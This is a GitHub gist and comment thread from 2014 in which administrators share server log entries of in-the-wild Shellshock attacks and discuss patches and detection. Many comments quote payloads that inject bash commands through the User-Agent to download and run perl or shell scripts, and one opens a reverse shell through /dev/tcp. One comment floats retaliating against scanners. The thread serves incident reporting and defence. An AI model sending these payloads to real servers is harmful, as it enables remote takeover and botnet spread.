Skip to content

Instantly share code, notes, and snippets.

Created September 25, 2014 05:35
Show Gist options
  • Save anonymous/929d622f3b36b00c0be1 to your computer and use it in GitHub Desktop.
Save anonymous/929d622f3b36b00c0be1 to your computer and use it in GitHub Desktop.
Ok, shits real. Its in the wild... src:
$ file nginx
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped
$ md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Looking at string variables, it appears to be a kernel exploit with a CnC component.
- found by @yinettesys
Copy link

muloka commented Sep 25, 2014

@ABISprotocol re: OSX, that won't patch the system's bash. You have to compile bash yourself, follow these instructions if you want:

Copy link

bmurch commented Sep 25, 2014

Looks like someone is gathering a list:

grep '() { :;}' *

access_log: - - [25/Sep/2014:02:52:27 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { :;}; /bin/ping -c 1"

Copy link

I created a gist showing how to add a line to your bashrc to identify the presence of the vulnerability. This is useful to me because I work on many different servers with many different administrators, and I sync my bashrc across machines using Git. I would appreciate input!

Copy link

ghost commented Sep 25, 2014

well that escalated qickly!

Copy link

rdev5 commented Sep 25, 2014

Caught one passing in as User Agent string at 14:34.

Reason: User header "HTTP_USER_AGENT" contains "() { :;}"

IP Address:
Location: Kranj, 52 (Slovenia)
User Agent: () { :;}; wget ''

Copy link - - [25/Sep/2014:00:36:54 +0000] "GET / HTTP/1.0" 200 346 "() { :; }; ping -c 11" "shellshock-scan (" - - [25/Sep/2014:11:11:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 536 "-" "() { :;}; /bin/ping -c 1" - - [25/Sep/2014:20:17:06 +0000] "GET / HTTP/1.1" 200 327 "() { :; }; /bin/ping -c 1" "() { :; }; /bin/ping -c 1"

Surely someone could come up with a creative script to run in place of ping. Maybe tweet the offending scanner IP address with #SHELLSHOCK hashtag.

Copy link


Copy link

Found another: - - [25/Sep/2014:12:07:51 +0000] "GET /cgi-bin/hello HTTP/1.0" 404 290 "-" "() { :;}; /bin/bash -c "wget -O /tmp/klogd""

Copy link

chridd commented Sep 26, 2014

bmurch: shouldn't that be "grep '() {' *"? The colon doesn't have to be a colon for it to work.

Copy link - - [25/Sep/2014:09:44:58 -0500] "GET /cgi-bin/hello HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c "cd /tmp;wget;curl -O ; perl /tmp/jur;rm -rf /tmp/jur""

-- this one showed up a couple times on our servers today from netherlands. the source it pulls from has what looks to be a botnet with a worm component.

edit - looks like the removed the exposed file. I have a copy of it, is there anyone in the security community I can send it to? there is some pretty scary looking shit in it. damn perl script has a built in port scanner, bot net tcp/udp flooders and spreader.

Copy link

realfx commented Sep 26, 2014

it work on android?

Copy link

rdev5 commented Sep 26, 2014

Can anyone else confirm if this is a suitable intermediary fix whilst we wait for a more permanent fix?


On OS X, I applied all the patches ( and rebuilt bash 4.3 from source after making this change manually to variables.c and it appears to be working. Not able to reproduce the Bash bug vulnerability as such...

Copy link

Somebody did this that supposedly works for both Mac / OSX and (all?) Linux variants, but test it yourself and have a go:

Copy link

bacbos commented Sep 26, 2014

Same here, got different requests since yesterday morning: `[26/Sep/2014:09:10:11 +0200] "GET /cgi-bin/ HTTP/1.0" 401 652 "-" "() { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1""``

Copy link

UAHR commented Sep 26, 2014 also here:
"GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1052 "-" "() { :;}; /bin/ping -c 1" - - [25/Sep/2014:15:46:35 +0200]

...and this one:
"GET /cgi-bin/his HTTP/1.0" 404 1044 "-" "() { :;}; /bin/bash -c "cd /tmp;curl -O ; perl /tmp/jur;rm -rf /tmp/jur""

Copy link

A n00b question here:
If the logs show up as 404'd does it mean the UserAgent env were not actually evaluated - i.e. exploit failed ?

Copy link

@Cherrytreee do you have cgi scripts? If not then you're safe atm.

Copy link

@ChrisMCMine I don't. Thx!

Copy link

rdev5 commented Sep 26, 2014

More in the wild, though it looks like one of those "Is your site affected?" website scanners like (if not for the remote file fetching). In this case, I wonder if it's necessarily a good idea for people to be creating "Check your website" online testers since it provides a proxy option for people with more malicious intent.

IP Address:
Location: Atlanta, GA 30303


User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"

Timestamp: 9/26/2014 8:39:45 AM

Copy link

ingie commented Sep 26, 2014

[25/Sep/2014:11:10:43 +0100] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 403 296 "-" "() { :;}; /bin/ping -c 1"

Copy link

Neo23x0 commented Sep 27, 2014

I created a regex that matches the different attacks. (egrep compatible v4)



Copy link

ghost commented Sep 28, 2014

just discovered a new one in our server logs..

X.X.X.X - - [27/Sep/2014:06:18:02 +0200] "GET /de HTTP/1.0" 200 36399 "-" "() { :;}; /bin/bash -c \x22wget -q -O /dev/null\x22""

Copy link

"() { :;}; /bin/bash -c "wget --delete-after\"

Copy link

addbook commented Sep 29, 2014

Copy link

Found this: "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/ 0>&1'"

Copy link

ghost commented Sep 30, 2014

and another one bites the dust.. - - [30/Sep/2014:00:13:28 +0200] "GET /de/cgi-mod/index.cgi HTTP/1.1" 404 315 "() { :; }; /bin/bash -c '/usr/bin/wget >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget >> /dev/null'"

Copy link

Vic020 commented Oct 1, 2014


Copy link - - [28/Sep/2014:13:01:55 +0800] "GET / HTTP/1.0" 200 364 "-" "() { :;}; /bin/bash -c "wget -O /tmp/sh;curl -o /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh""

Seems fairly straight-forward.

Copy link

tarzand commented Oct 27, 2014


Copy link

it work on android?



thats fine

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment